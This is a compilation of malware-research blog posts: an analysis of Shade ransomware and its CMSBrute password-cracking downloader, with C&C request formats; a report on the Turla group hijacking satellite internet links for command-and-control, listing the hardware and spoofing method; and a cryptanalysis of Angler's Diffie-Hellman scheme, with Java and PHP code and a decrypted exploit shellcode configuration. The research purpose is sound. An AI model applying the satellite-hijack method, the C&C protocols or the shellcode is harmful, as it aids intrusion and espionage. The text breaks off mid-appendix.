  2. Using the serial number of the system volume, it calculates a 32-bit constant and converts it into a HEX string (vol_const);
  3. Obtains data about the OS version (os_version) divided with the symbol “;” (e.g. “5;1;2600;1;Service Pack 3″);
  4. Creates the string comp_namenum_cpuvol_constos_version;
  5. Calculates the MD5 hash of this string;
  6. Converts the MD5 hash into a HEX string and uses its first 20 characters as the computer’s ID.
Receiving key data

When the computer ID has been generated, the Trojan attempts to connect to the C&C server located in the Tor network, sends the computer ID to it and receives the public RSA key in return. If the connection attempt fails, one of the 100 public RSA keys hardcoded in the Trojan body is selected.

Encrypting files

The algorithm AES 256 in CBC mode is used to encrypt files. For each encrypted file, two random 256-bit AES keys are generated: one is used to encrypt the file’s contents, while the other is used to encrypt the file name. These keys are placed in the utility structure key_data, which is then encrypted with the selected RSA key (so it takes up 384 bytes after encryption) and placed at the end of the encrypted file:

In C syntax, this stricture can be written as follows:

The Trojan attempts to rename the encrypted file using the result of the calculation Base64(AES_encrypt(original file name)).xtbl (e.g. ArSxrr+acw970LFQw.xtbl). Failing this, it simply adds the extension .ytbl to the original file name. In later versions, the Trojan adds the infected computer’s ID and then the extension .xtbl to the file name, e.g. ArSxrr+acw970LFQw.043C17E72A1E91C6AE29.xtbl.

Communication with a C&C server

The address of one C&C server is contained in the Trojan’s body. The servers are located in the Tor network and communication is established using a Tor client that is statically linked to the Trojan.

The sample sends the following requests to the C&C server:

  1. Request for a new public RSA key:
    GET http://<server>.onion/reg.php?i=ID&b=build&v=version&ss=stage
    ID – the ID of the infected computer;
    build – the ID of the specific Trojan sample;
    version – the Trojan’s version (we encountered versions 1 and 2);
    stage – the stage of encryption – request for a new public key or a message about completing file encryption.
  2. Error message:
    GET http://<server>.onion/err.php?i=ID&b=build&v=version&err=error
    error – a base64-coded message about an error during encryption.
  3. Report about the encryptor’s current stage:
    GET http://<server>.onion/prog.php?i=ID&b=build&v=version&ss=stage&c=count&f=finish
    count – the current count of encrypted files;
    finish – the flag showing that encryption has completed.
  4. Information about the system:
    key_number – the number of the selected RSA key (if the key was not received from the server, but selected from the keys contained in the Trojan’s body);
    info – information collected from the infected computer:
    • Computer name
    • User name
    • IP address
    • Computer domain
    • List of logical drives
    • Windows version
    • List of installed software
  5. Request for a list of URL addresses from which additional malware needs to be downloaded and launched:
    GET http://<server>.onion/cmd.php?i=ID&b=build&v=version
Propagation of the encryptor Partnership program

The code that the user is prompted to email to the cybercriminals can have the form ID|0 if the public code was received from the C&C server, or ID|key_number|build|version if one of the public RSA keys hardcoded in the Trojan’s body was selected, with the corresponding number used for the value key_number. ID is the identity of the infected computer, build and version are numeric values that denote respectively the ID of the specific Trojan sample and the encryptor’s version.

While analyzing the Trojan’s samples, we detected several combinations of the ‘build’ value, email addresses used to communicate with the cybercriminals, and C&C addresses. Different ‘build’ values are associated with different email addresses, although the same C&C can serve several different samples of the Trojan:

build C&C email 2 a4yhexpmth2ldj3v.onion 2 a4yhexpmth2ldj3v.onion 4 a4yhexpmth2ldj3v.onion 6 a4yhexpmth2ldj3v.onion 2 e4aibjtrguqlyaow.onion 15 e4aibjtrguqlyaow.onion 12 gxyvmhc55s4fss2q.onion 14 gxyvmhc55s4fss2q.onion 4 gxyvmhc55s4fss2q.onion

We observed the propagation of different samples from the encryptor’s two versions. For each specific sample of the same version of the Trojan there existed a unique combination of ‘build’ (ID of the specific sample) and the email address (for communication with the cybercriminals).

Although we found no partnership notices, based on the data we can assume the Trojan is distributed, and the ransom collected, via a partnership network. Possibly, the malware sample IDs (the ‘build‘ value) and the different email addresses are associated with various partners responsible for distributing this malicious program.


Most of the Trojan infections occur in Russia, Ukraine and Germany. According to KSN data, the distribution of Trojan-Ransom.Win32.Shade is as follows.

Russia 70,88% Germany 8.42% Ukraine 6.48% Austria 3.91% Switzerland 2.98% Poland 1.45% Kazakhstan 1.20% Belarus 1.07% Brazil 0.55% Downloaded malware: Trojan for brute forcing website passwords

Among the malicious programs downloaded by Trojan-Ransom.Win32.Shade is a trojan used for brute forcing website passwords. The internal organization of the brute forcer is very similar to that of the encryptor Trojan itself – it was most probably created by the same team of cybercriminals. This downloaded brute forcer Trojan has been assigned the verdict Trojan.Win32.CMSBrute.

Common features of the CMSBrute family
  • Written in C++ using STL and its own classes.
  • Statically linked with the Tor client.
  • Uses boost (threads), curl, OpenSSL libraries.
  • Each sample has a hardwired URL to one C&C server. A total of three C&C server addresses were detected in different samples. All the C&Cs are located in the Tor network and are different from the addresses encountered in the Trojan-Ransom.Win32.Shade samples.
  • All strings (along with the names of imported functions) are AES encrypted. When the program launches, they are decrypted and the import table is then dynamically populated.
  • Typically UPX packed. Once unpacked, it is 2080-2083 KB in size.
  • Copies itself to one of the C drive folders with the name csrss.exe.
  • Downloads additional DLL plugins. The plugins contain code that determines the content management system (CMS) installed on the targeted site, searches for the administration console and cracks passwords. We have detected plugins for websites based on Joomla, WordPress and DataLifeEngine.
Communication with the C&C server

Each sample of Trojan.Win32.CMSBrute contains the address of one C&C server. The servers are located in the Tor network and communication with them is established using the Tor client that is statically linked to the Trojan.

The sample sends the following requests to the C&C server:

  1. Register new bot:
    GET http://<server>.onion/reg.php?n=ID&b=build&v=version&sf=stage
    ID – the ID of the infected computer. It is calculated using a slightly different algorithm than the one used for the Shade encryptor;
    build – the ID of the specific sample of the malicious program. We have encountered build1 only;
    version – the version of the malicious program. We have encountered version 1 only;
    stage – the stage of the Trojan’s operation.
  2. A request to receive URL addresses for downloading/updating DLL plugins.
    GET http://<server>.onion/upd.php?n=ID&b=build&v=version&p=plugins
  3. Request for a task to determine the CMS on the website and to check the login credentials:
    GET http://<server>.onion/task.php?n=ID&b=build&v=version&p=plugins
    plugins – the versions of installed DLL plugins.
    The server’s response comes in the JSON format and contains URLs of the websites to be attacked and a dictionary for breaking passwords.
  4. Send a brute force report:
    POST http://<server>.onion/rep.php?n=ID&b=build&v=version&rep=report
    report – a JSON string containing a report about the CMS found on the website, as well as broken login credentials to the administration console.

In the case of Trojan-Ransom.Win32.Shade, all advice that was previously given on how to counteract encryptors is still relevant. Detailed instructions are available at:

If your computer has already suffered an attack by this Trojan, it is extremely important that you run a full scan and treat it with an anti-malware solution. Remember that Trojan-Ransom.Win32.Shade downloads and installs malware belonging to several various families, as stated at the beginning of this article.


The following samples were used while writing this article:

Verdict MD5 Trojan-Ransom.Win32.Shade.ub 21723762c841b2377e06472dd9691da2 Trojan-Ransom.Win32.Shade.ui bb159b6fe30e3c914feac5d4e1b85a61 Trojan.Win32.CMSBrute.a 543d1620ce976cb13fec190ccc1bc83a

Two-Step Verification

SANS Tip-of-the-Day - Wed, 09/09/2015 - 16:48
Two-step verification is one of the best steps you can take to secure any account. Two-step verification is when you require both a password and code sent to or generated by your mobile device. Examples of services that support two-step verification include Gmail, Dropbox and Twitter.

Satellite Turla: APT Command and Control in the Sky

Malware Alerts - Wed, 09/09/2015 - 05:58

Have you ever watched satellite television? Were you amazed by the diversity of TV channels and radio stations available? Have you ever looked in wonder at satellite phones or satellite-based Internet connections wondering what makes them tick? What if we told you that there’s more to satellite-based Internet connections than entertainment, traffic and weather? Much, much more.

When you are an APT group, you need to deal with many different problems. One of them, and perhaps the biggest, is the constant seizure and takedown of domains and servers used for command-and-control (C&C). These servers are constantly appropriated by law enforcement or shut down by ISPs. Sometimes they can be used to trace the attackers back to their physical locations.

Some of the most advanced threat actors or users of commercial hacking tools have found a solution to the takedown problem — the use of satellite-based Internet links. In the past, we’ve seen three different actors using such links to mask their operations. The most interesting and unusual of them is the Turla group.

Also known as Snake or Uroburos, names which come from its top class rootkit, the Turla cyber-espionage group has been active for more than 8 years. Several papers have been published about the group’s operations, but until the Epic Turla research was published by Kaspersky Lab, little information was available about the more unusual aspects of their operations, such as the first stages of infection through watering-hole attacks.

What makes the Turla group special is not just the complexity of its tools, which include the Uroboros rootkit, aka “Snake”, as well as mechanisms designed to bypass air gaps through multi-stage proxy networks inside LANs, but the exquisite satellite-based C&C mechanism used in the latter stages of the attack.

In this blog, we hope to shed more light on the satellite-based C&C mechanisms that APT groups, including the Turla/Snake group, use to control their most important victims. As the use of these mechanisms becomes more popular, it’s important for system administrators to deploy the correct defense strategies to mitigate such attacks. For IOCs, see the appendix.

Technical details

Although relatively rare, since 2007 several elite APT groups have been using — and abusing — satellite links to manage their operations — most often, their C&C infrastructure. Turla is one of them. Using this approach offers some advantages, such as making it hard to identify the operators behind the attack, but it also poses some risks to the attackers.

On the one hand, it’s valuable because the true location and hardware of the C&C server cannot be easily determined or physically seized. Satellite-based Internet receivers can be located anywhere within the area covered by a satellite, and this is generally quite large. The method used by the Turla group to hijack the downstream links is highly anonymous and does not require a valid satellite Internet subscription.

On the other hand, the disadvantage comes from the fact that satellite-based Internet is slow and can be unstable.

In the beginning, it was unclear to us and other researchers whether some of the links observed were commercial Internet connections via satellite, purchased by the attackers, or if the attackers had breached the ISPs and performed Man-in-the-Middle (MitM) attacks at the router level to hijack the stream. We have analyzed these mechanisms and come to the astonishing conclusion that the method used by the Turla group is incredibly simple and straightforward, as well as highly anonymous and very cheap to operate and manage.

Real satellite links, MitM attacks or BGP hijacking?

Purchasing satellite-based Internet links is one of the options APT groups can choose to secure their C&C traffic. However, full duplex satellite links can be very expensive: a simple duplex 1Mbit up/down satellite link may cost up to $7000 per week. For longer term contracts this cost may decrease considerably, but the bandwidth still remains very expensive.

Another way of getting a C&C server into a satellite’s IP range is to hijack the network traffic between the victim and the satellite operator and to inject packets along the way. This requires either exploitation of the satellite provider itself, or of another ISP on the way.

These kinds of hijacking attacks have been observed in the past and were documented by Renesys (now part of Dyn) in a blogpost dated November 2013.

According to Renesys: “Various providers’ BGP routes were hijacked, and as a result a portion of their Internet traffic was misdirected to flow through Belarusian and Icelandic ISPs. We have BGP routing data that show the second-by-second evolution of 21 Belarusian events in February and May 2013, and 17 Icelandic events in July- August 2013.”

In a more recent blogpost from 2015, Dyn researchers point out that: “For security analysts reviewing alert logs, it is important to appreciate that the IP addresses identified as the source of incidents can and are regularly spoofed. For example, an attack that appeared to come from a Comcast IP located in New Jersey may really have been from a hijacker located in Eastern Europe, briefly commandeering Comcast IP space. It is interesting to note that all six cases discussed above were conducted from either Europe or Russia.”

Obviously, such incredibly apparent and large-scale attacks have little chance of surviving for long periods of time, which is one of the key requirements for running an APT operation. It is therefore not very feasible to perform the attack through MitM traffic hijacking, unless the attackers have direct control over some high-traffic network points, such as backbone routers or fiber optics. There are signs that such attacks are becoming more common, but there is a much simpler way to hijack satellite-based Internet traffic.

Satellite link (DVB-S) hijacking

The hijacking of satellite DVB-S links has been described a few times in the past and a presentation on hijacking satellite DVB links was delivered at BlackHat 2010 by the S21Sec researcher Leonardo Nve Egea.

To hijack satellite DVB-S links, one needs the following:

  • A satellite dish – the size depends on geographical position and satellite
  • A low-noise block downconverter (LNB)
  • A dedicated DVB-S tuner (PCIe card)
  • A PC, preferably running Linux

While the dish and the LNB are more-or-less standard, the card is perhaps the most important component. Currently, the best DVB-S cards are made by a company called TBS Technologies. The TBS-6922SE is perhaps the best entry-level card for the task.

TBS-6922SE PCIe card for receiving DVB-S channels

The TBS card is particularly well-suited to this task because it has dedicated Linux kernel drivers and supports a function known as a brute-force scan which allows wide-frequency ranges to be tested for interesting signals. Of course, other PCI or PCIe cards might work as well, while, in general the USB-based cards are relatively poor and should be avoided.

Unlike full duplex satellite-based Internet, the downstream-only Internet links are used to accelerate Internet downloads and are very cheap and easy to deploy. They are also inherently insecure and use no encryption to obfuscate the traffic. This creates the possibility for abuse.

Companies that provide downstream-only Internet access use teleport points to beam the traffic up to the satellite. The satellite broadcasts the traffic to larger areas on the ground, in the Ku band (12-18Ghz) by routing certain IP classes through the teleport points.

How does satellite internet hijacking work?

To attack satellite-based Internet connections, both the legitimate users of these links as well as the attackers’ own satellite dishes point to the specific satellite that is broadcasting the traffic. The attackers abuse the fact that the packets are unencrypted. Once an IP address that is routed through the satellite’s downstream link is identified, the attackers start listening for packets coming from the Internet to this specific IP. When such a packet is identified, for instance a TCP/IP SYN packet, they identify the source and spoof a reply packet (e.g. SYN ACK) back to the source using a conventional Internet line.

At the same time, the legitimate user of the link just ignores the packet as it goes to an otherwise unopened port, for instance, port 80 or 10080. There is an important observation to make here: normally, if a packet hits a closed port, a RST or FIN packet will be sent back to the source to indicate that there is nothing expecting the packet. However, for slow links, firewalls are recommended and used to simply DROP packets to closed ports. This creates an opportunity for abuse.

Abused Internet ranges

During the analysis, we observed the Turla attackers abusing several satellite DVB-S Internet providers, most of them offering downstream-only connections in the Middle East and Africa. Interestingly, the coverage of these beams does not include Europe or Asia, meaning that a dish is required in either the Middle East or Africa. Alternatively, a much larger dish (3m+) can be used in other areas to boost the signal.

To calculate the dish size, one can use various tools, including online resources such as

Sample dish calculation – (c)

The table below shows some of the command-and-control servers related to the Turla actor with domains resolving to an IP belonging to satellite-based Internet providers:

IP First seen Hosts Nov, 2007 n/a, see note below Feb 25th, 2014 Feb 27th, 2014 March 18th, 2014 March 18th, 2014 January 25th, 2014 March 19th, 2014 April 26th, 2013 May 28th, 2014 March 11th, 2014 June 24th, 2014 April 4th, 2014 March 17th, 2015 May 2nd, 2012 January 3rd, 2013 July 3, 2014 September 1st, 2014 August 05, 2015

Note: is hardcoded in the configuration block of the malicious sample.

The observed satellite IPs have the following ‘WHOIS’ information:

IP Country ISP Nigeria Skylinks Satellite Communications Limited UAE Teleskies, Telesat Network Services Inc Lebanon Lunasat Isp Denmark Emperion Lebanon Intrasky Offshore S.a.l. Germany IABG mbH Somalia Sky Power International Ltd Nigeria Sky Power International Ltd United Kingdom SkyVision Global Networks Ltd Niger SkyVision Global Networks Ltd Congo Orioncom

One interesting case is probably, which falls into the satellite IP range of IABG mbH.

This IP is encrypted in the C&C of the following backdoor used by Turla group, known as “Agent.DNE“:

md5 0328dedfce54e185ad395ac44aa4223c size 91136 bytes type Windows PE

Agent.DNE C&C configuration

This Agent.DNE sample has a compilation timestamp of Thu Nov 22 14:34:15 2007, meaning that the Turla group has been using satellite-based Internet links for almost eight years.


The regular usage of satellite-based Internet links by the Turla group represents an interesting aspect of their operation. The links are generally up for several months, but never for too long. It is unknown if this is due to operational security limitations self-imposed by the group or because of shutdown by other parties due to malicious behavior.

The technical method used to implement these Internet circuits relies on hijacking downstream bandwidth from various ISPs and packet-spoofing. This is a method that is technically easy to implement, and provides a much higher degree of anonymity than possibly any other conventional method such as renting a VPS or hacking a legitimate server.

To implement this attack methodology, the initial investment is less than $1000. Regular maintenance should be less than $1000 per year. Considering how easy and cheap this method is, it is surprising that we have not seen more APT groups using it. Even though this method provides an unmatched level of anonymfor logistical reasons it is more straightforward to rely on bullet-proof hosting, multiple proxy levels or hacked websites. In truth, the Turla group has been known to use all of these techniques, making it a very versatile, dynamic and flexible cyber-espionage operation.

Lastly, it should be noted that Turla is not the only APT group that has used satellite-based Internet links. HackingTeam C&Cs were seen on satellite IPs before, as well as C&Cs from the Xumuxu group and, more recently the Rocket Kitten APT group.

If this method becomes widespread between APT groups or worse, cyber-criminal groups, this will pose a serious problem for the IT security and counter-intelligence communities.

* A full paper on the Turla group’s use of satellite-based Internet links is available to the customers of Kaspersky Intelligence Services.

Indicators of compromise: IPs:





Kaspersky Lab products detect the above Turla samples with the following verdicts:

  1. Agent.btz: a Source of Inspiration?
  2. The Epic Turla operation
  3. The ‘Penquin’ Turla

Attacking Diffie-Hellman protocol implementation in the Angler Exploit Kit

Malware Alerts - Tue, 09/08/2015 - 07:21

Exploit kit creators have been inventing increasingly interesting methods of masking their exploits, shellcodes, and payloads so that it is harder for analysts to define the type of the exploit and know what actions they may perform.

Several days ago analysts found the usage of the Diffie-Hellman cryptographic protocol in the Angler Exploit Kit, which is one of the most popular exploit kits at the moment. This protocol was developed more than 40 years ago, but that is the first known case of its usage in an exploit kit.

In Angler, threat actors used the Diffie-Hellman protocol to get a structure with the shellcode of one of the recent exploits for the CVE-2015-2419 vulnerability for the Internet Explorer 11 browser and then for the CVE-2015-5560 vulnerability exploit for Adobe Flash. Most likely, the goal of the threat actors was creating difficulties in firewall detection of the exploit (as firewalls cannot decipher a shellcode and exploit by the means of the intercepted traffic analysis) and also making it harder for the analysts to get the exploit code. However, the experts from Kaspersky Lab managed to perform a successful attack against Diffie-Hellman protocol implementation and decipher the shellcode.

Angler vs. Analysts

To make matters worse for analysts, JavaScript code and ActionScript code multiple obfuscation and a user IP ban upon sending the encrypted structure with a shellcode to the user were used in addition to the Diffie-Hellman protocol. After getting the structure with the shellcode by that means (encrypted with a one-time key by using the Diffie-Hellman protocol), the exploit kit sample becomes unusable after one processing: the analyst is unable to understand what a specific file does, reproduce the attack, and, quite often, identify the exploit and vulnerability at all.

A key exchange and getting a shellcode for the CVE-2015-2419 exploit

There is a key exchange request in the picture above. As a response, a browser gets from the threat actors’ server an encrypted array that contains a shellcode to exploit the vulnerability. The same traffic request has been used to download the Flash vulnerability exploit.

As the secret for key generation is new each time, an analyst is unable to send it to the browser once more, reproduce the attack, and identify the vulnerability, even if he has the recorded traffic.

Diffie-Hellman Protocol Implementation Features

The used implementation of the Diffie-Hellman protocol includes the following:

  1. The server generates a random number g (16 bytes) and sends the HTML page with the number g and JavaScript implementation of the Diffie-Hellman algorithm to the user’s browser.

  2. JavaScript generates a random modulo p (16 bytes) and a random private key Ka (16 bytes) in the user’s browser, and then JavaScript calculates the public key A = gKa mod p and sends the three numbers (g, A, p) to the server as a JSON object along with the Internet browser version.


  3. The server generates its own random private key Kb and its random encryption key Kx (16 bytes) and finds the Diffie-Hellman shared secret Kdh = AKb mod p. After that, the server encrypts the shellcode by using the XTEA algorithm and the key Kx, then base64_encode and urlencode, getting the string b as a result. Then, the key Kx is also encrypted by XTEA with the key Kdh, base64_encode, and urlencode, getting the string k as a result. And finally, the server calculates its public key B = gKb mod p and sends Base64-encrypted JSON object that contains B, k, and b to the browser:


    After Base64 encryption removal:


  4. A user’s browser calculates the Diffie-Hellman shared secret Kdh = BKa mod p, decrypts k urldecode, base64_decode, and XTEA by using the key Kdh, getting the key Kx, and eventually decrypts the urldecode, base64_decode, and XTEA shellcode by using the key Kx.

It is safe to assume that the aim of using the given sophisticated cryptographic system is shellcode interception prevention by listening to the Internet traffic between the server with the exploit kit and the user’s browser. We managed to perform a successful attack against the implementation of the encryption protocol and decrypt the shellcode. We used the modified Pohlig-Hellman algorithm for the attack (a deterministic algorithm of discrete logarithm-finding in the residue ring modulo a prime number).

According to the original algorithm, for the case when the Euler function expansion of the modulo p into prime factors qi is known (coprime factors Qi)

the complexity of finding the private key Ka and the Diffie-Hellman shared secret Kdh by using intercepted public keys A and B is

We used an optimized algorithm of finding the discrete logarithm in the residue ring modulo a prime number, taking into account the infinitesimality of logp with respect to qi, and low probability of occurrence of large prime factors raised to the power of greater than one in the Euler function φ(p); i.e., αi will equal one for large qi with a high probability. Owing to that, the complexity of the modified algorithm is

which allows us to perform a successful attack in case if all qi < 1018. The experiment has shown that the given condition is observed in more than a half of cases of using the aforementioned Diffie-Hellman protocol implementation (the case of randomly generated g, p, Ka, and Kb without their extra security checks).

Description of the Modified Pohlig-Hellman Algorithm
  1. Let us find the expansion of the number p into prime factors (the factorization can be easily done with Cryptool):

    p = 0x1b0b5c6e6b0b5b7e6c6d0b1b0a8c3c7e = 35948145881546650497425055363061529726 = 2 * 101 * 521 * 195197 * 7138079603 * 245150552958961933

  2. Let us find the Euler function for the number p:

    φ(p) = (2-1) * (101-1) * (521-1) * (195197-1) * (7138079603-1) * (245150552958961933-1) = 17761863220777184249809368812124288000

  3. Let us find the expansion of the Euler function into prime factors:

    φ(p) = 2^10 * 3^2 * 5^3 * 13 * 19 * 79 * 167 * 383 * 48799 * 45177719 * 5603527793

  4. In order to find the browser’s private key Ka, it is necessary to find a discrete logarithm:

    A = gKa mod p
    A = 0x5eff90f1c48342f5d519cd02b5dfd8b = 7892150445281019518426774740123123083
    g = 0x40a262b1360a6a16612ca8251161a9a5 = 14017453774474660607531272629759062185 (mod p)

    As immediately finding Ka modulo φ(p) is quite time-consuming, let us find Ka by turns for each of the coprime factors Qi of the Euler function φ(p)

    [1024, 9, 125, 13, 19, 79, 167, 383, 48799, 45177719, 5603527793],

    and, by using the obtained results and the Chinese remainder theorem, let us immediately find Ka modulo φ(p).

  5. In order to find Ka modulo Qi, it is necessary to find a discrete logarithm

    To do that, we shall

    5.1. take the number H=⌊√(Qi)⌋+1;
    5.2. calculate Dc=DaH mod p;
    5.3. make a sorted table of values Dcu mod p for 1 ≤ uH;
    5.4. find such a value of 0 ≤ v ≤H, that the element Db ∙ Dav mod p is in the table;
    5.5. The value of Ka modulo Qi equals Hu-v.

    The implementation of the described algorithm in Java is given in the Appendix A. As in the reviewed example the maximum value of Qi is only several billions, the program execution time did not exceed several seconds.

    For some of the Qi factors of the Euler function φ(p), there are several possible Ka values (there are possible Ka modulo Qi values in the row number i):

    [834, 898, 962, 2, 842, 906, 970, 10, 850, 914, 978, 18, 858, 922, 986, 26, 866, 930, 994, 34, 874, 938, 1002, 42, 882, 946, 1010, 50, 890, 954, 1018, 58, 826] [4] [18, 68, 118, 43, 93] [9] [12] [42] [6] [21] [11929] [24277014] [2536644002]

  6. By going over all of the possible combinations of obtained Ka values by using the Chinese remainder theorem, we find several tens of possible Ka modulo φ(p) values:



  7. All of the obtained values of the private key Ka lead to the same value of the Diffie-Hellman shared secret Kdh = BKa mod p:


  8. By knowing Kdh, it is possible to decrypt the encryption key Kx from k and the shellcode by using Kx. The PHP script for decrypting the intercepted shellcode by using the known Diffie-Hellman shared secret is given in the Appendix B. The decrypted shellcode is given in the Appendix C.

Testing of the Diffie-Hellman Protocol Implementation Attack in the Angler Exploit Kit

To test the effectiveness and functionality of the attack, several tests were conducted.

  1. A test with a traffic dump from with the exploit for CVE-2015-2419.


    {"B":"481dbc66fe90ded2eb8d027395abe4fd", …

    p = 146455792068641286704746413745292278846 = 2 * 2269 * 1057223 * 1292823547 * 23612186462182360807

    φ(p) = 73195553541542938096767116236244889696 = 2^5 * 3^6 * 7^3 * 17 * 617 * 7127 * 528611 * 231492024139042753

    Owing to a significantly large factor φ(p) (about 1018), finding the Diffie-Hellman shared secret took several hours:


    The decrypted shellcode is given in the Appendix D.

  2. A test with a traffic dump from with the exploit for CVE-2015-2419 and CVE-2015-5560.

    The new version of the Angler Exploit Kit has minor changes in the server-to-script communication protocol:



    As compared with the previous version, indices “g”, “A”, “p”, “B”, “b”, and “k” were replaced by the parts of the number g, and the order of the numbers sent to the server was changed (now, it is g, p, A not g, A, p as it was before). Besides that, the XTEA algorithm had two constant values and used when decrypting the shellcode bit operation modified:

    Before (the original XTEA implementation) After for(var h=g[0],k=g[1],l=84941944608;0!=l;)
    h-=(k<>>5)+k^l+d[l&3]; for(var h=g[0],k=g[1],l=433284421593;0!=l;)

    For the given traffic, we managed to factorize the Euler function φ(p)

    p = 123758666691284322087508686576379854395 = 5 * 11 * 47 * 73 * 83 * 173 * 1055371 * 43277569507162384847671

    φ(p) = 85339058418474058501009217357034700800 = 2^14 * 3^6 * 5^2 * 23 * 41 * 43 * 127 * 277 * 1949 * 102798053917762603

    find the Diffie-Hellman shared secret


    and decrypt the shellcode for CVE-2015-2419 (given in the Appendix E).

    In addition to that, threat actors started to use the Diffie-Hellman key exchange pattern also for Flash exploits in the new version of the Angler Exploit Kit (i.e., the creators of the exploit kit programmed the same algorithms in PHP, JavaScript, and ActionScript). The protocol exploit and shellcode download format for the Flash vulnerability is the same as the one for the shellcode vulnerability for Internet Explorer:



    Modulo p and the Euler function φ(p) factors:

    p = 81152602799751951422044316006212054554 = 2 * 3 * 36329424479 * 10983441260369 * 33896452871009

    φ(p) = 27050867599169456821145398677392574464 = 2^11 * 7 * 13 * 199 * 91279961 * 11640265409 * 686465078773

    the Diffie-Hellman shared secret:


    The decrypted exploit and shellcode for CVE-2015-5560 is given in the Appendix F.

    Appendix A. The Diffie-Hellman Protocol Attack Implementation in Java import java.math.BigInteger; import java.util.HashSet; import java.util.Iterator; import java.util.Set; import java.util.TreeMap; import java.util.Vector; public class Test1 { static BigInteger p = new BigInteger("1b0b5c6e6b0b5b7e6c6d0b1b0a8c3c7e", 16); static BigInteger psi = new BigInteger("17761863220777184249809368812124288000"); static BigInteger g = new BigInteger("40a262b1360a6a16612ca8251161a9a5", 16).mod(p); static BigInteger A = new BigInteger("5eff90f1c48342f5d519cd02b5dfd8b", 16); static BigInteger B = new BigInteger("02aa6526e6edc0042394b7ea81ec5b75", 16); static long[] q = new long[]{1024L, 9L, 125L, 13L, 19L, 79L, 167L, 383L, 48799L, 45177719L, 5603527793L}; static int q_len = q.length; static HashSet[] xi = new HashSet[q_len]; static BigInteger ai[] = new BigInteger[q_len]; static HashSet res = new HashSet(); static void rec(int ind) { if (ind == q_len) { BigInteger x = BigInteger.ZERO; for(int i=0;i<q_len;i++) { BigInteger mn = new BigInteger(((Long)q[i]).toString()); BigInteger M = psi.divide(mn); x = x.add(ai[i].multiply(M).multiply(M.modInverse(mn))); } res.add(B.modPow(x.mod(psi), p)); //res.add(x.mod(psi)); return; } Iterator<Long> it = xi[ind].iterator(); while(it.hasNext()){ ai[ind] = new BigInteger(; rec(ind + 1); } } public static void main(String[] args) { for(int i=0;i<q_len;i++) { xi[i] = new HashSet<Long>(); long qi = q[i]; int H = (int)Math.sqrt((double)qi) + 1; BigInteger _a = g.modPow(psi.divide(new BigInteger(((Long)qi).toString())), p); BigInteger _b = A.modPow(psi.divide(new BigInteger(((Long)qi).toString())), p); BigInteger _c = _a.modPow(new BigInteger(((Integer)H).toString()), p); BigInteger _cp = _c; int u_size = 1000000; boolean stop = false; for(int u_part = 1;u_part<=H && !stop;u_part+=u_size) { if (H > u_size) { System.out.print("[i] Processing "); System.out.println(u_part); } TreeMap<BigInteger, Integer> table = new TreeMap<>(); for(int u=u_part;u<=H && u<u_part + u_size;u++) { table.put(_cp, u); _cp = _cp.multiply(_c).mod(p); } BigInteger z = _b; for(int v=0;v<=H;v++) { if (table.get(z) != null) { xi[i].add((((long)H)*table.get(z) - v) % qi); stop = true; break; } z = z.multiply(_a).mod(p); } table.clear(); System.gc(); } System.out.println(xi[i].toString()); } rec(0); Iterator<BigInteger> it = res.iterator(); while(it.hasNext()){ System.out.println(; } } } Appendix B. Intercepted Encrypted Shellcode Decryption PHP Script by Using the Known Diffie-Hellman Shared Secret <?php include 'xtea_ak.php'; $dh = "0eb034f99e33e17df058de5b448b7241"; $resp = "eyJCIjoiMDJhYTY1MjZ…"; $dh = hex2bin($dh); $json = json_decode(base64_decode(rawurldecode($resp))); $k = base64_decode(rawurldecode($json->k)); $xtea = new XTEA($dh); $k = $xtea->Decrypt($k); $data = base64_decode(rawurldecode($json->b)); $xtea = new XTEA($k); $data = $xtea->Decrypt($data); $data = rtrim($data, ""); echo $data; ?> Appendix C. Decrypted Shellcode {"ll":"length","I":"charCodeAt","llI":"fromCharCode","Il":"floor","IIl":"random","l":"stringify","III":"location","II":"host","lI":"number","IlI":"ScriptEngineBuildVersion","lIl":"ScriptEngineMajorVersion","Ill":"ScriptEngineMinorVersion","lII":"ur0pqm8kx","lll":"http://","lIll":"/","lllI":"u","IlIl":"x","IIlI":"xexec","lIII":"EAX","Illl":"ECX","IIIl":"EDI","IllI":"ESP","lIIl":"POP EAX","llII":"XCHG EAX,ESP","IIll":"MOV [ECX+0C],EAX","llIl":"JMP EAX","IIII":"CALL [EAX+4C]","llll":"MOV EDI,[EAX+90]","lIlI":"a","llIll":"kernel32.dll","IlII":"virtualprotect","IIIlI":11,"lllll":0,"lIlIl":17905,"IIIII":500,"IlIll":16,"lIIlI":0,"IlllI":1,"IIllI":2,"lIIII":3,"IIIIl":4,"llIIl":5,"lIlII":8,"llIII":9,"llllI":10,"IlIII":11,"lllIl":12,"lIlll":16,"IlIIl":24,"lIllI":2147483647,"IIlll":4294967295,"IIIll":255,"IIlII":256,"llIlI":65535,"IIlIl":16776960,"lIIIl":16777215,"lIIll":4294967040,"IllII":4294901760,"IllIII":4278190080,"IlIlI":65280,"lllII":16711680,"Illlll":19,"IIIIIl":4096,"Illll":4294963200,"IllIl":4095,"IlIIll":14598366,"IIIIlI":48,"llIIlI":32,"IlIIIl":15352,"lIIIII":85,"llIlII":4096,"llllII":311296000,"IlIlII":61440,"IIlIll":24,"lllllI":32,"lllIll":17239,"IllIIl":15,"lIllll":256,"IIIlll":76,"IllIlI":144,"IIIIII":65536,"IIlllI":100000,"llIlll":28,"IIIlII":60,"llIlIl":44,"lIIIll":28,"IllllI":128,"IIllIl":20,"IlIlIl":12,"lIIIlI":16,"IlIllI":4,"llIIII":2,"llllll":110,"IlIlll":64,"IIIIll":-1,"lIlIII":0,"IIIllI":1,"lIIllI":2,"IlIIII":3,"IlllIl":4,"lllIII":5,"lIlllI":7,"lIIIIl":9,"lllIlI":10,"IllIll":11,"IIIlIl":12,"IIlIII":-2146823286,"llIIIl":[148,195],"lllIIl":[88,195],"IlIIlI":[137,65,12,195],"lIIlIl":[255,224],"IIllll":[255,80,76],"lIlIlI":[139,184,144,0,0,0],"IIlIlI":[122908,122236,125484,2461125,208055,1572649,249826,271042,98055,62564,162095,163090,340146,172265,163058,170761,258290,166489,245298,172955,82542],"IIlIIl":[76514,78206,169140,1564283,57653,92732,277930,57206,212281,94821,94789,140864,95448,95192,89830,133640],"lIllIl":[150104,149432,152680,3202586,214836,3204663,361185,285227,103426,599295,365261,226292,410596,180980,226276,179716,320389,175621,307381,792144,183476],"IlllII":[68393,159289,2065114,93035,78635,263996,90969,131279,116207,116175,67007,117999,117551,3965891,96438,107246],"llIIll":[54887,141400,75989,63764,1761036,68463,201153,1001000],"llIllI":[120559,120527,121839,120834,120386,119458,117442],"lIlIll":48,"lIIllll":57,"lI